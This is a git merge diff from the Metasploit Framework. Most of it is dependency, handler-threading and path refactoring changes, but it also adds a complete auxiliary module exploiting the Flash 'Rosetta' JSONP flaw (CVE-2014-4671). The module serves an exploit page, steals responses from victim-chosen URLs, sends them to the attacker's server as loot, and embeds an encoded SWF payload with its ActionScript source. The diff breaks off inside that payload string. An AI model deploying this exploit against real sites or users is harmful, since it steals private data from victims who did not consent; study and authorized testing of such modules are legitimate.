Merge branch 'master' into staging/electro-release
Conflicts: Gemfile Gemfile.lockbug/bundler_fix
commit
52a29856b3
|
@ -17,8 +17,6 @@ Gemfile.local.lock
|
|||
config/database.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.x86.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
|
@ -58,3 +56,22 @@ tags
|
|||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the meterpreter_bins gem.
|
||||
data/meterpreter/elevator.*.dll
|
||||
data/meterpreter/ext_server_espia.*.dll
|
||||
data/meterpreter/ext_server_extapi.*.dll
|
||||
data/meterpreter/ext_server_incognito.*.dll
|
||||
data/meterpreter/ext_server_kiwi.*.dll
|
||||
data/meterpreter/ext_server_lanattacks.*.dll
|
||||
data/meterpreter/ext_server_mimikatz.*.dll
|
||||
data/meterpreter/ext_server_priv.*.dll
|
||||
data/meterpreter/ext_server_stdapi.*.dll
|
||||
data/meterpreter/metsrv.*.dll
|
||||
data/meterpreter/screenshot.*.dll
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
|
|
@ -5,3 +5,4 @@
|
|||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
||||
lib/msf/**/*.rb
|
||||
lib/rex/**/*.rb
|
||||
plugins/**/*.rb
|
||||
|
|
21
Gemfile
21
Gemfile
|
@ -3,6 +3,27 @@ source 'https://rubygems.org'
|
|||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec
|
||||
|
||||
# Need 3+ for ActiveSupport::Concern
|
||||
gem 'activesupport', '>= 3.0.0', '< 4.0.0'
|
||||
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||
gem 'bcrypt'
|
||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
gem 'json'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
gem 'meterpreter_bins', '0.0.6'
|
||||
# Needed by msfgui and other rpc components
|
||||
gem 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
gem 'nokogiri'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.9'
|
||||
# Needed by JSObfu
|
||||
gem 'rkelly-remix', '0.0.6'
|
||||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed for some post modules
|
||||
gem 'sqlite3'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
|
||||
|
|
13
Gemfile.lock
13
Gemfile.lock
|
@ -77,9 +77,9 @@ GEM
|
|||
metasploit-concern (~> 0.1.0)
|
||||
metasploit-model (>= 0.25.1, < 0.26)
|
||||
pg
|
||||
method_source (0.8.2)
|
||||
mini_portile (0.6.0)
|
||||
msgpack (0.5.8)
|
||||
meterpreter_bins (0.0.6)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.2.1)
|
||||
|
@ -159,9 +159,10 @@ DEPENDENCIES
|
|||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
fivemat (= 1.2.1)
|
||||
metasploit-credential!
|
||||
metasploit-framework!
|
||||
metasploit_data_models (>= 0.18.0, < 0.19)
|
||||
json
|
||||
metasploit_data_models (= 0.17.0)
|
||||
meterpreter_bins (= 0.0.6)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
|
|
2
HACKING
2
HACKING
|
@ -10,7 +10,7 @@ CONTRIBUTING.md
|
|||
in the same directory as this file, and to a lesser extent:
|
||||
|
||||
The Metasploit Development Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
|
||||
|
||||
Common Coding Mistakes
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -55,11 +55,12 @@ module ReverseTcp
|
|||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false])
|
||||
OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]),
|
||||
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
|
||||
], Msf::Handler::ReverseTcp)
|
||||
|
||||
|
||||
self.handler_queue = ::Queue.new
|
||||
self.conn_threads = []
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -124,6 +125,12 @@ module ReverseTcp
|
|||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
|
||||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill rescue nil
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -154,7 +161,13 @@ module ReverseTcp
|
|||
while true
|
||||
client = self.handler_queue.pop
|
||||
begin
|
||||
handle_connection(wrap_aes_socket(client))
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { | client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy))
|
||||
}
|
||||
else
|
||||
handle_connection(wrap_aes_socket(client))
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
@ -261,6 +274,7 @@ protected
|
|||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :handler_queue # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -83,7 +83,7 @@ module ReverseTcpDouble
|
|||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
thr.kill rescue nil
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -105,9 +105,6 @@ module ReverseTcpDouble
|
|||
|
||||
client_b = self.listener_sock.accept
|
||||
print_status("Accepted the second client connection...")
|
||||
|
||||
sock_inp, sock_out = detect_input_output(client_a, client_b)
|
||||
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
return nil
|
||||
|
@ -119,9 +116,10 @@ module ReverseTcpDouble
|
|||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
|
||||
begin
|
||||
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
|
||||
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
|
||||
chan = TcpReverseDoubleSessionChannel.new(framework, sock_inp, sock_out)
|
||||
handle_connection(chan.lsock)
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
|
|
|
@ -84,7 +84,7 @@ module ReverseTcpDoubleSSL
|
|||
# Kill any remaining handle_connection threads that might
|
||||
# be hanging around
|
||||
conn_threads.each { |thr|
|
||||
thr.kill
|
||||
thr.kill rescue nil
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -106,9 +106,6 @@ module ReverseTcpDoubleSSL
|
|||
|
||||
client_b = self.listener_sock.accept
|
||||
print_status("Accepted the second client connection...")
|
||||
|
||||
sock_inp, sock_out = detect_input_output(client_a, client_b)
|
||||
|
||||
rescue
|
||||
wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}")
|
||||
return nil
|
||||
|
@ -120,9 +117,10 @@ module ReverseTcpDoubleSSL
|
|||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, client_a, client_b) { | client_a_copy, client_b_copy|
|
||||
begin
|
||||
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
|
||||
sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)
|
||||
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)
|
||||
handle_connection(chan.lsock)
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
|
|
|
@ -1139,7 +1139,7 @@ protected
|
|||
# Merges the module description.
|
||||
#
|
||||
def merge_info_description(info, val)
|
||||
merge_info_string(info, 'Description', val)
|
||||
merge_info_string(info, 'Description', val, ". ", true)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -110,6 +110,7 @@ module Msf::Post::Common
|
|||
break if d == ""
|
||||
o << d
|
||||
end
|
||||
o.chomp! if o
|
||||
process.channel.close
|
||||
process.close
|
||||
when /shell/
|
||||
|
|
|
@ -15,22 +15,13 @@ module Msf::HTTP::Wordpress::Login
|
|||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match[0] if match
|
||||
|
||||
# support for older wordpress versions
|
||||
# Wordpress 2.0
|
||||
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
|
||||
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
|
||||
|
||||
# Wordpress 2.5
|
||||
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match_2_5[0] if match_2_5
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid wordpress cookie is returned
|
||||
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
|
||||
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
|
||||
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
|
|
|
@ -66,4 +66,18 @@ module Msf::HTTP::Wordpress::URIs
|
|||
normalize_uri(target_uri.path, 'wp-links-opml.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Backend URL
|
||||
#
|
||||
# @return [String] Wordpress Backend URL
|
||||
def wordpress_url_backend
|
||||
normalize_uri(target_uri.path, 'wp-admin/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Admin Ajax URL
|
||||
#
|
||||
# @return [String] Wordpress Admin Ajax URL
|
||||
def wordpress_url_admin_ajax
|
||||
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'meterpreter_bins'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/ui/console'
|
||||
|
|
|
@ -149,7 +149,8 @@ class ClientCore < Extension
|
|||
end
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
|
||||
if (opts['ExtensionPath'])
|
||||
path = opts['ExtensionPath']
|
||||
|
@ -221,7 +222,7 @@ class ClientCore < Extension
|
|||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
|
|
|
@ -45,7 +45,7 @@ class Priv < Extension
|
|||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
|
||||
elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
|
||||
|
||||
elevator_path = ::File.expand_path( elevator_path )
|
||||
|
||||
|
|
|
@ -156,7 +156,7 @@ class UI < Rex::Post::UI
|
|||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
||||
# include the x64 screenshot dll if the host OS is x64
|
||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' )
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
|
||||
screenshot_path = ::File.expand_path( screenshot_path )
|
||||
screenshot_dll = ''
|
||||
::File.open( screenshot_path, 'rb' ) do |f|
|
||||
|
@ -166,7 +166,7 @@ class UI < Rex::Post::UI
|
|||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
||||
end
|
||||
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' )
|
||||
screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
|
||||
screenshot_path = ::File.expand_path( screenshot_path )
|
||||
screenshot_dll = ''
|
||||
::File.open( screenshot_path, 'rb' ) do |f|
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'set'
|
||||
require 'rex/post/meterpreter'
|
||||
require 'rex/parser/arguments'
|
||||
|
||||
|
@ -415,20 +416,23 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
@@load_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-l"
|
||||
exts = []
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||
when "-l"
|
||||
exts = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
exts.push($1)
|
||||
exts.add($1)
|
||||
end
|
||||
}
|
||||
print(exts.sort.join("\n") + "\n")
|
||||
end
|
||||
print(exts.to_a.join("\n") + "\n")
|
||||
|
||||
return true
|
||||
when "-h"
|
||||
cmd_load_help
|
||||
return true
|
||||
return true
|
||||
when "-h"
|
||||
cmd_load_help
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
|
@ -461,16 +465,19 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
def cmd_load_tabs(str, words)
|
||||
tabs = []
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||
tabs = SortedSet.new
|
||||
msf_path = MeterpreterBinaries.metasploit_data_dir
|
||||
gem_path = MeterpreterBinaries.local_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
if (not extensions.include?($1))
|
||||
tabs.push($1)
|
||||
tabs.add($1)
|
||||
end
|
||||
end
|
||||
}
|
||||
return tabs
|
||||
end
|
||||
return tabs.to_a
|
||||
end
|
||||
|
||||
def cmd_use(*args)
|
||||
|
@ -730,10 +737,10 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
@@write_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
src_file = val
|
||||
else
|
||||
cid = val.to_i
|
||||
when "-f"
|
||||
src_file = val
|
||||
else
|
||||
cid = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
|
|
|
@ -1,36 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'test/unit'
|
||||
|
||||
# DEFAULTS
|
||||
module Rex
|
||||
class Test
|
||||
|
||||
$_REX_TEST_NO_MOCK = nil
|
||||
$_REX_TEST_TIMEOUT = 30
|
||||
$_REX_TEST_SMB_HOST = '10.4.10.58'
|
||||
$_REX_TEXT_SMB_USER = 'SMBTest'
|
||||
$_REX_TEXT_SMB_PASS = 'SMBTest'
|
||||
|
||||
# overwrite test defaults with rex/test-config.rb
|
||||
def self.load()
|
||||
file = File.join( ENV.fetch('HOME'), '.msf3', 'test')
|
||||
begin
|
||||
if File.stat(file + '.rb')
|
||||
require file
|
||||
end
|
||||
rescue
|
||||
# just ignore the errors
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def self.cantmock()
|
||||
if (!$_REX_TEST_NO_MOCK)
|
||||
raise RuntimeError, "*** $_REX_TEST_NO_MOCK must not be set for this test ***", caller
|
||||
end
|
||||
end
|
||||
|
||||
Rex::Test.load()
|
||||
|
||||
end
|
||||
end
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
module to work, valid administrative user credentials must be
|
||||
supplied.
|
||||
},
|
||||
'Author' => [ 'Carlos Perez <carlos_perez [at] darkoperator.com>' ],
|
||||
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
end
|
||||
|
|
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module will allow for simple SQL statements to be executed against a
|
||||
MSSQL/MSDE instance given the appropiate credentials.
|
||||
},
|
||||
'Author' => [ 'tebo <tebo [at] attackresearch [dot] com>' ],
|
||||
'Author' => [ 'tebo <tebo[at]attackresearch.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'vlad902 <vlad902 [at] gmail.com>', # MSF v2 module
|
||||
'vlad902 <vlad902[at]gmail.com>', # MSF v2 module
|
||||
'jduck' # Ported to MSF v3
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -22,8 +22,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'Steve Jones', #original discoverer
|
||||
'Hoagie <andi [at] void {dot} at>', #original public exploit
|
||||
'Paulino Calderon <calderon [at] websec {dot} mx>', #metasploit module
|
||||
'Hoagie <andi[at]void.at>', #original public exploit
|
||||
'Paulino Calderon <calderon[at]websec.mx>', #metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'Carlos Perez <carlos_perez[at]darkoperator.com>', # Base code
|
||||
'Thanat0s <thanspam[at]trollprod[dot]org>' # Output, Throttling & Db notes add
|
||||
'Thanat0s <thanspam[at]trollprod.org>' # Output, Throttling & Db notes add
|
||||
],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile@gmail.com>', #metasploit module
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -0,0 +1,202 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'open-uri'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
|
||||
'Description' => %q{
|
||||
A website that serves a JSONP endpoint that accepts a custom alphanumeric
|
||||
callback of 1200 chars can be abused to serve an encoded swf payload that
|
||||
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
|
||||
|
||||
This module spins up a web server that, upon navigation from a user, attempts
|
||||
to abuse the specified JSONP endpoint URLs by stealing the response from
|
||||
GET requests to STEAL_URLS.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
|
||||
'joev' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4671'],
|
||||
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
|
||||
['URL', 'https://github.com/mikispag/rosettaflash'],
|
||||
['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 8 2014',
|
||||
'Actions' => [ [ 'WebServer' ] ],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
|
||||
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
|
||||
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
|
||||
OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
|
||||
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
|
||||
],
|
||||
self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
|
||||
raise "JSONP endpoint does not allow sufficiently long callback names."
|
||||
end
|
||||
|
||||
unless datastore['URIPATH'] == '/'
|
||||
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
|
||||
end
|
||||
|
||||
exploit
|
||||
end
|
||||
|
||||
def check
|
||||
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
|
||||
io = open(exploit_url(test_string))
|
||||
if io.read.start_with? test_string
|
||||
Msf::Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
vprint_status("Request '#{request.method} #{request.uri}'")
|
||||
if request.uri.end_with? 'crossdomain.xml'
|
||||
print_status "Responding to crossdomain request.."
|
||||
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
|
||||
elsif request.uri.end_with? '.log'
|
||||
body = URI.decode(request.body)
|
||||
file = store_loot(
|
||||
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
|
||||
)
|
||||
url = body.lines.first.gsub(/.*?=/,'')
|
||||
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
|
||||
print_good "Stored in #{file}"
|
||||
else
|
||||
print_status "Serving exploit HTML"
|
||||
send_response_html(cli, exploit_html)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_url(data_payload)
|
||||
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
|
||||
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
|
||||
width=500 height=500>
|
||||
<param name="FlashVars"
|
||||
value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
|
||||
#
|
||||
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
|
||||
#
|
||||
# class X {
|
||||
# static var app : X;
|
||||
#
|
||||
# function getURL(url:String) {
|
||||
# var r:LoadVars = new LoadVars();
|
||||
# r.onData = function(src:String) {
|
||||
# if (_root.exfiltrate) {
|
||||
# var w:LoadVars = new LoadVars();
|
||||
# w.x = url+"\n"+src;
|
||||
# w.sendAndLoad(_root.exfiltrate, w, "POST");
|
||||
# }
|
||||
# }
|
||||
# r.load(url, r, "GET");
|
||||
# }
|
||||
#
|
||||
# function X(mc) {
|
||||
# if (_root.url) {
|
||||
# var urls:Array = _root.url.split(",");
|
||||
# for (var i in urls) {
|
||||
# getURL(urls[i]);
|
||||
# }
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# // entry point
|
||||
# static function main(mc) {
|
||||
# app = new X(mc);
|
||||
# }
|
||||
# }
|
||||
#
|
||||
#
|
||||
# Compiling the .as using mtasc and swftool:
|
||||
#
|
||||
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
|
||||
# $ swfcombine -d out.swf -o out-uncompressed.swf
|
||||
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
|
||||
#
|
||||
def encoded_swf
|
||||
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
|
||||
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
|
||||
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
|
||||
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
|
||||
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
|
||||
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
|
||||
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
|
||||
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
|
||||
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
|
||||
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
|
||||
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
|
||||
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
|
||||
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
|
||||
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
|
||||
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
|
||||
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
|
||||
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
|
||||
